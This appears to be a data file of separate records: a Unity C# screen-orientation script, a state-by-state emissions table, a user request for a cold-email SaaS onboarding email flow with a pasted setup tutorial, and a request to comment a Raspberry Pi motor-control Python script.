true;\n }\n\n public void ChangeToPortrait(){\n CalcAspect();\n if(portTraitImage && landscapeImage){\n if(!portTraitImage.activeSelf)\n portTraitImage.SetActive(true);\n if(landscapeImage.activeSelf)\n landscapeImage.SetActive(false); \n }\n // Debug.Log("ChangeToPortrait");\n if(rectTraTransform && newRectTransformToPort){\n rectTraTransform.anchoredPosition = newRectTransformToPort.anchoredPosition;\n rectTraTransform.anchoredPosition3D = newRectTransformToPort.anchoredPosition3D;\n rectTraTransform.anchorMax = newRectTransformToPort.anchorMax;\n rectTraTransform.anchorMin = newRectTransformToPort.anchorMin;\n rectTraTransform.offsetMax = newRectTransformToPort.offsetMax;\n rectTraTransform.offsetMin = newRectTransformToPort.offsetMin;\n rectTraTransform.pivot = newRectTransformToPort.pivot;\n // rectTraTransform.rect = newRectTransformToPort.rect;\n rectTraTransform.sizeDelta = newRectTransformToPort.sizeDelta;\n rectTraTransform.position = newRectTransformToPort.position;\n rectTraTransform.rotation = newRectTransformToPort.rotation;\n rectTraTransform.localScale = newRectTransformToPort.localScale;\n // Debug.LogError("RTP"+rectTraTransform);\n }else if(traTransform && newTransformToPort){\n transform.position = newTransformToPort.position;\n transform.rotation = newTransformToPort.rotation;\n transform.localScale = newTransformToPort.localScale;\n // Debug.LogError("TP"+rectTraTransform);\n }\n\n if(!textAdd){\n if(SystemInfo.deviceModel.Contains("iPad") && textsizeIPadPT != 0){\n textsizePT = textsizeIPadPT;\n }\n if(textsizePT != 0){\n foreach(Text t in normolText){\n t.fontSize = textsizePT; \n }\n foreach(TextMeshProUGUI t in tMPText){\n t.fontSize = textsizePT; \n }\n }\n }\n \n \n }\n\n public void ChangeToLandscape(){\n if(portTraitImage && landscapeImage){\n if(portTraitImage.activeSelf)\n portTraitImage.SetActive(false);\n if(!landscapeImage.activeSelf)\n landscapeImage.SetActive(true); \n }\n if(rectTraTransform && newRectTransformToLand){\n rectTraTransform.anchoredPosition = newRectTransformToLand.anchoredPosition;\n rectTraTransform.anchoredPosition3D = newRectTransformToLand.anchoredPosition3D;\n rectTraTransform.anchorMax = newRectTransformToLand.anchorMax;\n rectTraTransform.anchorMin = newRectTransformToLand.anchorMin;\n rectTraTransform.offsetMax = newRectTransformToLand.offsetMax;\n rectTraTransform.offsetMin = newRectTransformToLand.offsetMin;\n rectTraTransform.pivot = newRectTransformToLand.pivot;\n // rectTraTransform.rect = newRectTransformToLand.rect;\n rectTraTransform.sizeDelta = newRectTransformToLand.sizeDelta;\n rectTraTransform.position = newRectTransformToLand.position;\n rectTraTransform.rotation = newRectTransformToLand.rotation;\n rectTraTransform.localScale = newRectTransformToLand.localScale;\n // Debug.LogError("RTP"+rectTraTransform);\n }else if(traTransform && newTransformToLand){\n transform.position = newTransformToLand.position;\n transform.rotation = newTransformToLand.rotation;\n transform.localScale = newTransformToLand.localScale;\n // Debug.LogError("TP"+rectTraTransform);\n }\n\n if(!textAdd){\n if(textsizeLC != 0){\n foreach(Text t in normolText){\n t.fontSize = textsizeLC; \n // Debug.Log(t.gameObject.name +" : "+t.text+" : "+this.name);\n }\n // }\n // if(tMPText != null){\n foreach(TextMeshProUGUI t in tMPText){\n t.fontSize = textsizeLC; \n }\n }\n }\n }\n}' -'Emissions in 1000 / tons \nState FIPS State Tier 1 Code Tier 1 Description Pollutant emissions90 emissions96 emissions97 emissions98 emissions99 emissions00 emissions01 emissions02 emissions03 emissions04 emissions05 emissions06 emissions07 emissions08 emissions09 emissions10 emissions11 emissions12 emissions13 emissions14 emissions15 emissions16 emissions17 emissions18 emissions19 emissions20 emissions21\n01 AL 01 FUEL COMB. ELEC. UTIL. CO 6.86859 8.06884 8.04705 8.12158 11.51526 10.345005 9.807628 11.212116 11.32424124 11.43636648 11.54849172 11.51218658 11.47588144 11.4395763 10.9668444 10.4941125 9.9576446 9.6423108 9.326977 9.0116432 9.125182333 9.238721467 9.3231606 10.050146 8.2436791 8.2436791 8.2436791\n01 AL 01 FUEL COMB. ELEC. UTIL. NH3 0.01516 0.01605 0.01597 0.01651 0.016949 0.015926 0.6483392 0.640472058 0.632604916 0.624737774 0.596224626 0.567711479 0.539198332 0.522571961 0.505945589 0.489319218 0.488462596 0.487605975 0.486749353 0.457457277 0.428165201 0.398873126 0.4557602 0.4175513 0.4175513 0.4175513\n01 AL 01 FUEL COMB. ELEC. UTIL. NOX 187.79386 219.009 209.98918 198.66722 186.3871 182.334029 169.063668 162.4571829 155.057338 136.658226 134.1019685 123.159224 122.364056 113.0329924 96.00923043 78.87946547 61.6871485 57.76831163 53.84947477 49.9306379 40.76923536 31.60783282 22.42213028 26.2331037 19.59248 13.75279 11.1621\n01 AL 01 FUEL COMB. ELEC. UTIL. PM10-PRI 8.85994 9.28102 8.83472 8.37946 29.21702 28.920119 27.213014 26.03978501 26.38171611 26.7236472 27.0655783 19.7560826 12.4465869 5.137091206 5.876249051 6.615406896 7.323321741 6.469981304 5.616640867 4.763300429 3.950868841 3.138437253 2.303325664 2.6010105 2.8686422 2.8686422 2.8686422\n01 AL 01 FUEL COMB. ELEC. UTIL. PM25-PRI 3.60246 4.36618 4.23529 4.00666 25.092193 24.408143 23.388713 22.52253144 22.84583593 23.16914043 23.49244492 16.580168 9.667891073 2.755614149 3.465757383 4.175900617 4.866090851 4.407620699 3.949150548 3.490680396 2.964636337 2.438592277 1.898368218 1.9412667 2.6597919 2.6597919 2.6597919\n01 AL 01 FUEL COMB. ELEC. UTIL. SO2 528.64015 584.96044 567.98876 575.47384 542.65734 512.08508 466.231637 448.2928643 458.621837 412.439787 460.1747366 455.193064 447.189154 361.2084519 300.5832618 239.955174 179.3226022 159.5225501 139.7224981 119.922446 83.44327413 46.96410223 10.48216033 11.9876086 6.4162684 3.277997 4.223016\n01 AL 01 FUEL COMB. ELEC. UTIL. VOC 0.79719 0.99511 0.9925 1.00374 2.23487 2.133452 2.105723 2.259568 2.143550196 2.027532392 1.911514588 1.797696545 1.683878503 1.57006046 1.433560153 1.297059847 1.15179904 1.217204429 1.282609817 1.348015206 1.303014349 1.258013491 1.208702634 1.3163993 1.1835842 1.1835842 1.1835842\n01 AL 02 FUEL COMB. INDUSTRIAL CO 25.73799 49.77487 48.15407 48.41578 43.88043 43.576394 45.374914 67.13219162 65.81066175 64.48913187 63.167602 49.57710761 35.98661322 22.39611883 22.61858405 22.84104926 71.86470057 66.7471092 61.62951784 56.51192647 43.65623227 30.80053808 17.97394388 19.1480244 17.2917412 17.2917412 17.2917412\n01 AL 02 FUEL COMB. INDUSTRIAL NH3 0.38396 1.31672 1.28847 1.3128 0.453654 0.457349 0.460238 0.38786043 0.371219399 0.354578369 0.337937338 0.24279463 0.147651921 0.052509212 0.071564475 0.090619737 0.812746476 0.755929131 0.699111786 0.642294441 0.439639269 0.236984097 0.034328925 0.0567259 0.0580506 0.0580506 0.0580506\n01 AL 02 FUEL COMB. INDUSTRIAL NOX 75.0194 98.5869 96.90908 96.43691 63.36205 63.137215 63.78486 48.6024981 44.82649865 41.0504992 37.27449975 34.96296233 32.65142492 30.3398875 32.0215286 33.7031697 35.44736279 36.72796487 38.00856695 39.28916903 32.84198373 26.39479843 19.97191313 22.0710428 20.1680229 20.1680229 20.1680229\n01 AL 02 FUEL COMB. INDUSTRIAL PM10-PRI 12.63573 10.87613 10.53728 10.56054 8.582618 8.474332 8.809374 5.563218565 5.675496798 5.787775032 5.900053265 5.062986049 4.225918833 3.388851616 3.62230577 3.855759924 46.27438322 47.24203355 48.20968388 49.17733421 33.76794361 18.358553 2.971842393 3.3632199 2.806757 2.806757 2.806757\n01 AL 02 FUEL COMB. INDUSTRIAL PM25-PRI 8.95548 6.56238 6.32133 6.37696 5.701548 5.667881 5.855379 2.715406176 2.846252766 2.977099357 3.107945947 3.043270559 2.978595171 2.913919783 3.174866775 3.435813767 34.66393051 35.51917391 36.37441732 37.22966073 25.66888713 14.10811353 2.561519936 2.4359415 2.3957654 2.3957654 2.3957654\n01 AL 02 FUEL COMB. INDUSTRIAL SO2 54.82764 52.69352 52.00472 51.73982 42.81297 42.125593 44.067971 33.39878683 32.37404933 31.34931184 30.32457434 27.4738541 24.62313386 21.77241362 20.38686739 19.00132115 41.32218386 38.16929643 35.01640899 31.86352156 24.45469381 17.04586607 9.639808327 11.7197006 13.0489428 13.0489428 13.0489428\n01 AL 02 FUEL COMB. INDUSTRIAL VOC 7.55391 4.44464 4.37024 4.33768 4.07291 4.0706 4.092758 2.274272103 2.26371857 2.253165037 2.242611505 2.075396651 1.908181797 1.740966943 1.743319585 1.745672227 3.282876125 3.090067831 2.897259538 2.704451244 2.378932067 2.053412889 1.732203712 1.9854247 1.7401778 1.7401778 1.7401778\n01 AL 03 FUEL COMB. OTHER CO 89.93378 34.23424 34.29082 34.15163 65.515923 37.318006 37.426965 71.05160555 70.48616218 69.92071881 69.35527544 50.01507181 30.67486817 11.33466454 11.54395555 11.75324656 12.10373583 14.99790364 17.89207145 20.78623926 23.5814874 26.37673555 29.1719837 29.2072092 29.2018379 29.2018379 29.2018379' -"write a onboarding email flow for our new customers of our SaaS. our SaaS is a cold email automation tool. make the onboarding email flow 4 steps. \n\nWriting style: This writing style can be described as a combination of instructional and persuasive writing. The author is providing step-by-step instructions for a specific process while also persuading the reader of the effectiveness of the method and the potential gains. It is written in a straightforward and concise manner with a focus on practicality and efficiency.\n\nkeep the below context in mind: \nHow We Get 1-10 Demos Every Day By \nAutomatically Sending 1000+ Cold Emails Daily \nWith A 50%+ Open Rate\n\nThis is the best minimal effort maximum gain system for high ticket B2B offers we’ve found. \nYou can set everything up in 1-2 hours. Then you just have to wait for the new emails to warm up for around 14 days and you’re ready to go. Once you understand the system you can give this tutorial to your VA’s and make your life even easier.\n\nIf you combine this strategy with personalised first lines, you can get even better results. \nBut this strategy works even without personalisation.\n\nBefore starting, create a free Instantly account here. We’re going to be using Instantly for automating email sending.\n\nPS: We got a lot of requests for short video tutorials about these steps, so we created the Instantly Accelerator (8 modules with videos, docs and mind maps that cover every single detail - you get access as a Instantly Growth or Hypergrowth user).\n\nBefore we get into the specifics here are the rough estimates. You can set up this exact system for 1 email account too, but this is to show you the potential and scalability.\n\nNumbers:\n\n1000 emails daily\n30K monthly (50% open rate)\n15K opens (5% reply rate)\n750 replies (15% positive)\n112 booked meetings (75% show-up rate)\n84 live demos (20% close rate)\n16 closes ($1K ticket)\n16K/mo\n\nCost / Tech Stack:\n\n10 Domains - $90\n3 Google Workspace accounts & emails - $18\n30 Extra Google Emails - $180\n30K Leads from Apollo or Leadhype - $99\n30K Leads Cleaning with BulkEmailChecker - $30\n30K Leads Sending with Instantly $97\n\nTotal: $514 the first month, then $424/mo\n\nInvestment Gain - $15,486.00\nROI - 3,112.84%\nNot too shabby right? Let's get this set up…\nStep-By-Step Instructions\nDomain & Email Setup\nBuying Domains (10 mins)\nSetting Up Google Workspace (3 mins)\nSetting Up Domains - SPF, DKIM, DMARC & Forwarding (15-20 mins)\n1) Set up SPF\n2) Set up DKIM\n3) Set up DMARC\n4) Set up Forwarding\nSetting Up Emails Accounts (10 mins)\nWarming Up Emails (15 mins)\nLeads & Targeting\nGetting Leads (10 mins)\nCleaning Leads (5 mins)\nSetting Up The Campaign With Instantly\nConnecting Email Accounts (10 mins)\nUploading Leads (1 min)\nSetting Up The Sequence (5 mins)\nEmail Copy\nStep 1 - Initial Cold Email.\nStep 2 - Quick bump.\nStep 3 - Break-up Email.\nScheduling (1 min)\nAdvanced Options (1 min)\nOptimizing & Scaling\nAnalyzing Campaigns\nBenchmarks\nScaling Up\nFeedback & Suggestions\nDomain & Email Setup\nHere’s the checklist you can use to keep track of all the steps for Domain & Email setup and also give to your VAs.\n\nWe want to buy alias domains for cold emailing so we don’t damage the reputation of your main domain. And for each domain we want to create max 2-3 email accounts. From each email we’re going to be sending only 30-50 emails a day to not get stuck in spam.\nBuying Domains (10 mins)\n\nBuy domains that are similar to your main domain. Top-level domains work best. We’ve had success with domains like .agency .tech too, but if possible, buy .com domains.\n\nIf your business is called Shrimp.com, then buy domains like:\n\nGetshrimp.com\nTryshrimp.com\nTastyShrimpApp.com\n\nHere’s a list of domains with the worst reputation. Don’t use these.\n\nWe use GoDaddy for buying Domains, because we’ve used it for a long time and it has tons of integrations and tutorials. You do you.\n\nTIP: Make sure you go to https://account.godaddy.com/subscriptions and cancel all renewals if you do not want to use these domains for more than a year.\n\n\nSetting Up Google Workspace (3 mins)\nGo to https://workspace.google.com/ and click Get Started. Follow the on-screen instructions until your Google Workspace account is set up. You can safely create 2-3 emails per domain (by adding users in your Google Workspace admin). \n\nCreate a new Workspace account for each of the domains you bought.\n\nSetting Up Domains - SPF, DKIM, DMARC & Forwarding (15-20 mins)\n\nNow we get to the fun part! You should authenticate all the domains you are sending emails from. Here are the three parameters you have to set up for each domain: SPF, DKIM and DMARC.\n\n1) Set up SPF\n\nAssuming you are using Google Workspace you can follow this guide to set up SPF.\n\nYou can check if your SPF is properly set up using this tool.\n\n2) Set up DKIM\n\nAgain, assuming you are using Google Workspace you can follow this guide to set up DKIM.\n\nYou can check if your DKIM is properly set up using this tool.\n\n3) Set up DMARC\n\n\u200b\u200bImportant: Configure DKIM and SPF before configuring DMARC. DKIM and SPF should be authenticating messages for at least 48 hours before turning on DMARC.\n\nAssuming you are using Google Workspace you can follow this guide to set up DMARC.\n\nYou can check if your DMARC is properly set up using this tool.\n\n4) Set up Forwarding\n\nAlso, you want to forward the new domains to your main domain. This can be done in the settings of your domain provider. If you are using GoDaddy, you can follow this guide.\n\nSetting Up Emails Accounts (10 mins)\nIn order to later warm up your emails on Instantly, you need to make a few changes in the settings of your Google Workspace account and separate emails.\n\nYou can do this by following this guide.\n\nYou can monitor, tag and reply to all replies inside of the Instantly centralized master inbox/unibox. \n\n\nWarming Up Emails (15 mins)\n\nIn Instantly click the flame icon for all your email accounts you added to enable warm-up\n\nWe recommend using the suggested sending limits.\n\nWarm Up your emails for at least 3 weeks before starting your campaigns. As you can see in the image below we have 30+ domains warming up at any given time for our agency. That will allow you to really scale it up and get to that 5+ demos/day mark sooner. \n\nAlways keep the warm up on - never turn it off.\n\nMaking sure everything is set up correctly\n\nBefore starting your campaigns, you want to make sure the domain and email set up is done correctly.\nFor domains, use SPF & DKIM check.\nFor testing email spamminess, use Mail Tester.\n\nIf something's wrong, go back and quickly fix it :)\n\nLeads & Targeting\n\nFinding leads is easy, the harder part is knowing exactly which kinds of leads are the best. We approach it based on case studies. Who are the people who have gotten the most value out of your or your clients service? And who in that company is in charge of dealing with your offering.\nIf you don’t exactly know who to target just try different options until you find a targeting & email combo that works. Then just get as many similar leads as possible.\n\n\nGetting Leads (10 mins)\n\nLeadhype: https://leadhype.com/\n\nThis is our go-to software at the moment. It works best if you have LinkedIn Sales Navigator so I recommend getting it. We like to separate leads into batches based on locations.\n\nIf we’re targeting gym owners, we’re going to be creating separate jobs on Leadhype. Gym Owners (LA), Gym Owners (NYC) etc. This way they’re all in the same time-zone and we can schedule emails to them easily later.\n\n+ Great for getting bulk leads from LinkedIn.\n+ Easy to use.\n+ You can get up to 150K Leads monthly.\n+ You’re scraping leads for yourself, you’re not using leads that everybody has access to.\n\n- Not as targeted\n- Not the best option for finding very specific leads (based on revenue)\n\nApollo: https://www.apollo.io/\n\nThey have a huge database of B2B leads and you can filter them with tens of filters like revenue, employee count, niche, tech stack etc.\n\n+ Great Database\n+ Great Filters\n\n- The main plan allows you to export 25 leads at a time.\nCleaning Leads (5 mins)\n\nhttps://bulkemailchecker.com\n\nIf we’re not in a rush this is our go-to. It’s quite slow but the cheapest.\n\n+ Cheap\n\n- Slow\nOn the left-hand side select Bulk Verify.\n\n\nOn the right-hand side select This file contains multiple columns of data in a csv spreadsheet. Select the file with your leads and click Upload.\n\nWait 2-3 minutes for the next window to appear and click the green button Check Status. \nSelect the column with the email address. In this case because we got the lead list from Leadhype it’s the column corporate email. Click the green button Select.\nWait 5 minutes until the next window appears to start the validation process. \nClick the green button to start the validation process. We recommend the slower validation method since it is significantly cheaper. \n\nOnce the lead list has finished validating and you have exported the lead list from Bulkemailchecker make sure to format and clean it before sending emails.\n \nYou do that by only keeping the rows that say “The address passed all tests” in the Details column (the last column all the way to the right). Remove any rows that don’t say The address passed all tests, such as Dupe., The address does not have a valid dns., None., Is a Catchall mx server config., Greylisting is active on this server. Etc.\n\nThe following step-by-step instructions show you how to do this fast and accurately. \nUpload the .csv to your GDrive as a Google Sheet. Apply filters on the entire sheet. \nOnce the filter is applied to the entire sheet go to the column Details. Click on the filter symbol inside of that column header. Click Clear and type in the search box passed so you can find all email addresses that have passed the validation stage. Click on the result and press OK. \nSelect all, copy and paste into a new sheet inside the same spreadsheet. Add -only-passed at the end of the new sheet name where you pasted in the results.\nDelete the original tab/sheet so you only have the [NAME]-only-passed sheet left in the spreadsheet.\n\nThis makes sure that you’re only sending to valid emails and keeping your spam score low. Once you’ve done that you are ready to proceed and start sending in Instantly :)\n\n\nhttps://www.zerobounce.net/\n\n+ Faster\n- More Expensive.\n\nMake sure that the lead list that you’re going to upload on the next step only contains the validated emails and not the negative results. \nSetting Up The Campaign With Instantly\n\nWe use Instantly because you can connect unlimited email accounts (it’s not pay per account like most similar software) and it’s the easiest software to use (because we built it like that).\n\nCreate a free trial account here.\n\nConnecting Email Accounts (10 mins)\n\nSimply connect all your emails with Instantly here: https://app.instantly.ai/app/account/connect\n\nWe recommend using 2FA whenever possible because it’s much more secure and stable. \n\nUploading Leads (1 min)\n\nJust upload all the cleaned leads via CSV.\n\n\n\nSetting Up The Sequence (5 mins)\n\nEmail Copy\n\nKeep your emails short and sweet. We don’t use any links. Try pattern interrupts and get creative. Don’t send that boring shit that everybody’s sending.\nHere are a bunch of great cold email sequences from Lemlist users.\nHere’s another list of cold email templates from Hunter.io\n\nFor first lines we recommend Listkit. \n\nWe use a 3 step sequence. \n\nStep 1 - Initial Cold Email.\n\n\nStep 2 - Quick bump.\n\nStep 3 - Break-up Email.\n\n\n\nScheduling (1 min)\n\nHere just start with work-hours in the time zone where your leads for this campaign are located at. \n\n\nAdvanced Options (1 min)\n\nEmails To Use - Just select all the accounts for this campaign you want to use. This is the real superpower of Instantly. It will start sending emails from all of these accounts automatically. \nStop sending emails on reply - Stops the sequence for the user who has replied. This is recommended.\n\n\nSmart Sending - This will send emails as close to a human as possible. It will vary the pause before emails to make it look organic and natural. Also it will start ramping email up slowly.\nDaily Sending Limit - We recommend sending max 30-50 emails a day for best results, so just multiply your added accounts in this campaign by 30 to set this number.\nThat’s it. Now you can launch your campaign.\n\nCongrats! Instantly will start sending out emails every day automatically from all your connected accounts and you just need to keep an eye on the campaigns.\nOptimizing & Scaling\n\nAnalyzing Campaigns\nUse the Analytics Tab to keep an eye on your campaigns and pause the ones that aren’t delivering results.\n\n\n\nBenchmarks\n\nWe want to hit:\n\n50% Open Rate\n5+% Reply Rate\n\nIf the open rate is lower, try a different subject line and make sure your emails are not getting stuck in spam. If they are in spam, pause the campaign for a couple of days and let the warm-up run until you’re out of spam.\n\nIf the reply rate is lower, change your email copy and/or targeting. It can take a couple of different tests until you find a working combo.\n\nScaling Up\n\nScaling up is super easy. Just create more domains/email accounts, and add them to your Instantly campaign and increase the daily sending limit.\n\nFeel free to send this tutorial to VA’s and just have them set up as many domains and emails as you need.\nThe End. Feedback & Suggestions\n\nThat’s it. Thanks for watching and now it’s time to start executing.\n\nAlways happy to hear from you guys what you think we can improve to make this system & instantly even better/cheaper/quicker.\n\nPS: If you liked this tutorial feel free to share it with your friends.\n\nDon’t forget to smash the like button.\n\nSee ya." -'can you add comments to this python script? "import zmq\nimport threading\nimport time\nimport json\nimport random\nimport RPi.GPIO as GPIO\nimport board\nimport busio\nimport adafruit\\_ads1x15.ads1115 as ADS\nfrom adafruit\\_ads1x15.analog\\_in import AnalogIn\n### motor function for acceleration is defined below\ndef motor\\_accel(min\\_duty, max\\_duty, duty\\_cycle, accel\\_segments, duration, PWM):\n count = 0\n pwm\\_start\\_value = min\\_duty\n accel\\_incriment = (duty\\_cycle - pwm\\_start\\_value)/accel\\_segments\n duration\\_incriment = duration/accel\\_segments\n PWM.start(pwm\\_start\\_value)\n print(\'starting pwm at \', pwm\\_start\\_value)\n while count < accel\\_segments:\n pwm\\_start\\_value = pwm\\_start\\_value + accel\\_incriment\n PWM.ChangeDutyCycle(pwm\\_start\\_value)\n print(pwm\\_start\\_value)\n time.sleep(duration\\_incriment)\n count = count+1\n time.sleep(duration)\n #PWM.stop()\n count = 0\n print(\'leaving accel at \', pwm\\_start\\_value)\ndef motor\\_cont(duty\\_cycle, duration, PWM):\n #PWM.start(duty\\_cycle)\n time.sleep(duration)\n #PWM.stop()\n \ndef motor\\_decel(min\\_duty, max\\_duty, duty\\_cycle, decel\\_segments, duration, PWM):\n \n count = 0\n pwm\\_start\\_value = duty\\_cycle\n decel\\_incriment = (duty\\_cycle - min\\_duty)/decel\\_segments\n duration\\_incriment = duration/decel\\_segments\n #PWM.start(pwm\\_start\\_value)\n print(\'continuing pwm at \', pwm\\_start\\_value)\n while count < decel\\_segments:\n pwm\\_start\\_value = pwm\\_start\\_value - decel\\_incriment\n PWM.ChangeDutyCycle(pwm\\_start\\_value)\n print(pwm\\_start\\_value)\n time.sleep(duration\\_incriment)\n count = count+1\n time.sleep(duration)\n #PWM.stop()\n count = 0 \n\n### this is the fuction run by each thread spawned from the physical\\_output\\_list (a seperate list of threads manages the physical inputs)\ndef motor\\_worker(motor\\_name, ports\\_dic, context):\n ### define a path to the local configuration file for this individual motor ###\n path = "/home/pi/Desktop/motor\\_control/"\n name = motor\\_name + ".txt"\n file\\_location = path + name\n ### open the file and read lines into the the \'lines\' obj from the configuration file\n with open(file\\_location, "r") as file:\n # Read the contents of the file line by line\n lines = file.readlines()\n #### ?????????\n args = []\n ### removes elements in \'lines\' that begin with the # character\n for line in lines:\n if line.startswith("#"):\n lines.remove(line)\n line = line.strip()\n #### defines variables for the motor\\_accel function and sets value from config file\n accel\\_duration = float((lines[0]))\n accel\\_segments = int((lines[1]))\n ### defines the tested safe duty cycle operating range for the motor and sets value from config file\n max\\_duty = int((lines[2]))\n min\\_duty = int((lines[3]))\n #### defines variables for the motor\\_deccel function and sets value from config file\n decel\\_duration = float((lines[4]))\n decel\\_segments = int((lines[5]))\n ### defines variabls for the motor continue function and sets value from config file\n cont\\_duration = float((lines[6]))\n cont\\_duty\\_cycle = int((lines[7]))\n \n \n ###these variables define the safe limits for the sensor values\n sensor\\_center = float((lines[8]))\n sensor\\_min = float((lines[9]))\n sensor\\_max = float((lines[10]))\n \n #### these variables define the pins to be used by the motor in its operation\n PWM\\_pin = int((lines[11]))\n IN1 = int((lines[12]))\n IN2 = int((lines[13]))\n Standby = int((lines[14]))\n \n ### this variable is used to skip the position sensor portions of the worker fucntion for motors that do not have a position sensor\n has\\_sensor = int((lines[15]))\n ### if this value is 0, the motor will operate in \'reverse\' if value is 1 motor will operate \'forward\'\n ### this variable changes as a result the message contained in zmq messages called by\n direction = 0\n ### this is a variable that defines the target value to be used by the motor\\_target function that follows decell\\_function\n target\\_value = sensor\\_center\n \n ### for motors that have position sensors the sensor name is always the motor name plus the word position\n if has\\_sensor == 1:\n sensor\\_name = motor\\_name + \'position\'\n sensor\\_port = str(ports[sensor\\_name])\n zmq\\_port = str(ports[motor\\_name])\n \n ### sets the appropriate gpio pins ont he raspberry pi as outputs\n GPIO.setup(IN1, GPIO.OUT)\n GPIO.setup(IN2, GPIO.OUT)\n GPIO.setup(PWM\\_pin, GPIO.OUT)\n GPIO.setup(Standby, GPIO.OUT)\n GPIO.output(Standby, GPIO.HIGH)\n PWM = GPIO.PWM(PWM\\_pin, 100)\n print("I\'m the ", motor\\_name, " worker thread and my port number will be = ", zmq\\_port)\n if has\\_sensor == 1:\n print(\'my sensor is at port number \', sensor\\_port) \n \n ### binds a socket to recieve messages from the main thread containing motor conrol instructions sent from zmq\\_to\\_thread in the main thread\n receiver\\_control = context.socket(zmq.PULL)\n socket\\_string\\_control = "tcp://\\*:" + zmq\\_port\n receiver\\_control.bind(socket\\_string\\_control)\n \n ### binds a socket to receive messages containing sensor data\n receiver\\_measurement = context.socket(zmq.PULL)\n if has\\_sensor == 1:\n socket\\_string\\_measurement = "tcp://\\*:" + sensor\\_port\n receiver\\_measurement.bind(socket\\_string\\_measurement)\n while True:\n print(\'motor worker about to recv\')\n #messages not making it through. Its looks like messages are being sent but there seems to be no message available when the recv call is made. Suspect the issue is in the \n #try:\n \n ## this hangs and waits for a zmq message from the main thread containing parameters for motor control executions\n message = receiver\\_control.recv().decode()\n \n print(message)\n ## this captures the comma seperated parameters of the zmq message and stores them in appropriate variables\n motor\\_args = message.split(\',\')\n ## this duty cycle is the peek duty cycle the pwm channel should reach at the end of the acceleration period and is used as the constant duty cycle throughout the continue function\n dutycycle = int(motor\\_args[0])\n duration = float(motor\\_args[1])\n target = float(motor\\_args[2])\n direction = int(motor\\_args[3])\n ##this count variable controls the accel and decel fucntions while statement\n count = 0\n \n if direction == 0:\n GPIO.output(IN1, GPIO.HIGH)\n GPIO.output(IN2, GPIO.LOW)\n if direction == 1:\n GPIO.output(IN1, GPIO.LOW)\n GPIO.output(IN2, GPIO.HIGH)\n \n #### motor acceleration fuction is called below\n motor\\_accel(min\\_duty, max\\_duty, dutycycle, accel\\_segments, accel\\_duration, PWM)\n \n ### motor continue function is called here\n motor\\_cont(dutycycle, duration, PWM)\n \n ### motor decel fucntion is called here\n motor\\_decel(min\\_duty, max\\_duty, dutycycle, decel\\_segments, decel\\_duration, PWM)\n PWM.stop()\n GPIO.output(IN1, GPIO.LOW)\n GPIO.output(IN2, GPIO.LOW)\n ### motor target function is called here\n #motor\\_target()\n \n print()\n print(motor\\_name, dutycycle)\n print(motor\\_name, duration)\n print(motor\\_name, target, "target")\n if has\\_sensor == 1:\n measurement = receiver\\_measurement.recv()\n print(motor\\_name, measurement, "current")\n print()\n sleep\\_duration = random.uniform(.03,.3)\n time.sleep(sleep\\_duration)\n\n###this is the function used to send zmq instructions to individual output threads\ndef zmq\\_to\\_thread(name, message, ports, context):\n zmq\\_port = ports[name]\n \n socket = context.socket(zmq.PUSH)\n #socket.setsockopt(zmq.LINGER, 0)\n socket\\_string = "tcp://localhost:" + str(zmq\\_port)\n #print(socket\\_string)\n socket.connect(socket\\_string)\n socket.send\\_string(message)\n socket.close()\n print("Sent message to ", name, \'via port\', zmq\\_port)\n \n \ndef zmq\\_from\\_physical\\_inputs(name, message, ports, context):\n zmq\\_port = ports[name]\n socket = context.socket(zmq.PUSH)\n socket.setsockopt(zmq.LINGER, 0)\n socket\\_string = "tcp://localhost:" + str(zmq\\_port)\n #print(socket\\_string)\n socket.connect(socket\\_string)\n socket.send\\_string(message)\n socket.close()\n #print("Sent message to ", name)\n \n\ndef physical\\_input\\_worker(motor\\_name, ports, context):\n \n \n #########\n ###########\n ############### this is where we left off. movement zmq message is getting the worker but the worker cant get measurement currently. Change the physical input\\_worker fuction as follows\n ### for each name in motor name set up an input using the information in the configuration file for that motor.\n \n ### iterate over motors in the motor list loading their config files and creating a dictionary of i2c devices and addresses to create and initialize defining channels in each\n ### once setup, the worker should move into a while loop that updates measurements for each sensor and then sends a zmq message on the sensors port from ports dic\n ### consider that this ZMQ message should be sent with a queue value of 0 this may require splitting the current context object into two context objects with differnt queue values\n ### another worker thread needs to be created that listens receives all sensor values via these same zmq ports every .25-1.0 sec and inserts all the values in a batch insert to the database\n \n \n \n \n ### this section sets up the first ADC\n i2c = busio.I2C(board.SCL, board.SDA)\n ads = ADS.ADS1115(i2c)\n \n \n \n chan0 = AnalogIn(ads, ADS.P0)###this is the photoresistor\n chan2 = AnalogIn(ads, ADS.P2)##### this is the poteniometer circuit for the left right neck\n chan3 = AnalogIn(ads, ADS.P3)###this is the ponteniometer circuit for up and down neck\n \n channel\\_dic = {\'neckupdownposition\':chan3, \'neckleftrightposition\':chan2, \'photocell\\_one\':chan0}\n \n #channel\\_list = []\n #channel\\_string\\_list = []\n #neckupdownposition = neckupdownposition = AnalogIn(ads, ADS.P3)###this is the ponteniometer circuit for up and down neck\n #channel\\_list.append(neckupdownposition)\n #channel\\_string\\_list.append("neckupdownposition")\n #channel\\_string\\_list.append("neckupdownposition")\n #photocell\\_one = AnalogIn(ads, ADS.P0)###this is the photoresistor\n #channel\\_list.append(photocell\\_one)\n #channel\\_string\\_list.append("photocell\\_one")\n \n while True:\n for i in adc1\\_sensor\\_list:\n measurement = round(channel\\_dic[i].voltage, 3)\n zmq\\_from\\_physical\\_inputs(i, str(measurement), ports, context)\n \n \n \n \n \n #for i, n in zip(channel\\_list, channel\\_string\\_list):\n #measurement = round(i.voltage, 3)\n #zmq\\_from\\_physical\\_inputs(n, str(measurement), ports, context)\n #### NEED TO REDUCE ZMQ BUFFER TO 1 IN THIS CASE ####\n ##### WORKERS SHOULD BE IN NON BLOCKING MODE (I THINK...) ####\n### sets the gpio mode to BCM numbering scheme\nGPIO.setmode(GPIO.BCM)\n\n###\nmotor\\_list = ["neckupdown", "neckleftright", "leftwheel", "rightwheel"]\n#motor\\_list = ["neckleftright"]\nadc1\\_sensor\\_list = [\'neckupdownposition\', \'neckleftrightposition\', \'photocell\\_one\']\n\n#adc2\\_sensor\\_list = [\'leftwheelposition\', \'rightwheelposition\']\n\nport\\_keys = motor\\_list + adc1\\_sensor\\_list\n### \'neckupdownposition\', \'neckleftrightposition\', \'photocell\\_one\']###\nmotor\\_list\\_starting\\_port\\_number = 59000\nports = {k: motor\\_list\\_starting\\_port\\_number+i for i, k in enumerate(port\\_keys)}\n#ports = {"neckupdown":57000, "neckleftrightright":57001, "neckupdownposition":57002, "neckleftrightrightposition":57003, "photocell\\_one":57004}\nposition\\_sensors\\_dict = 